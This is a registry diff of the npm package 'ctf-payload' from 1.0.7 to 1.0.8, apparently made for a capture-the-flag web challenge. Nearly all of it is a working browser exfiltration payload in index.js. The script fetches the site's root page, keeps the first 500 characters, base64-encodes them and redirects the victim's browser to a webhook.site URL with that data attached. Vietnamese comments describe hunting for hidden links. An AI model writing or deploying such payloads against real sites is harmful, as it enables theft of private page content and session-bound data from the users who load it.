ctf-payload 1.0.7 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +3 -2
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
(async()=>{
|
|
2
|
-
// Đọc source trang chính để tìm link ẩn
|
|
3
2
|
const r = await fetch('/');
|
|
4
3
|
const t = await r.text();
|
|
5
|
-
|
|
4
|
+
// Chỉ lấy 500 ký tự đầu
|
|
5
|
+
const chunk = t.substring(0, 500);
|
|
6
|
+
window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?d='+btoa(unescape(encodeURIComponent(chunk)));
|
|
6
7
|
})();
|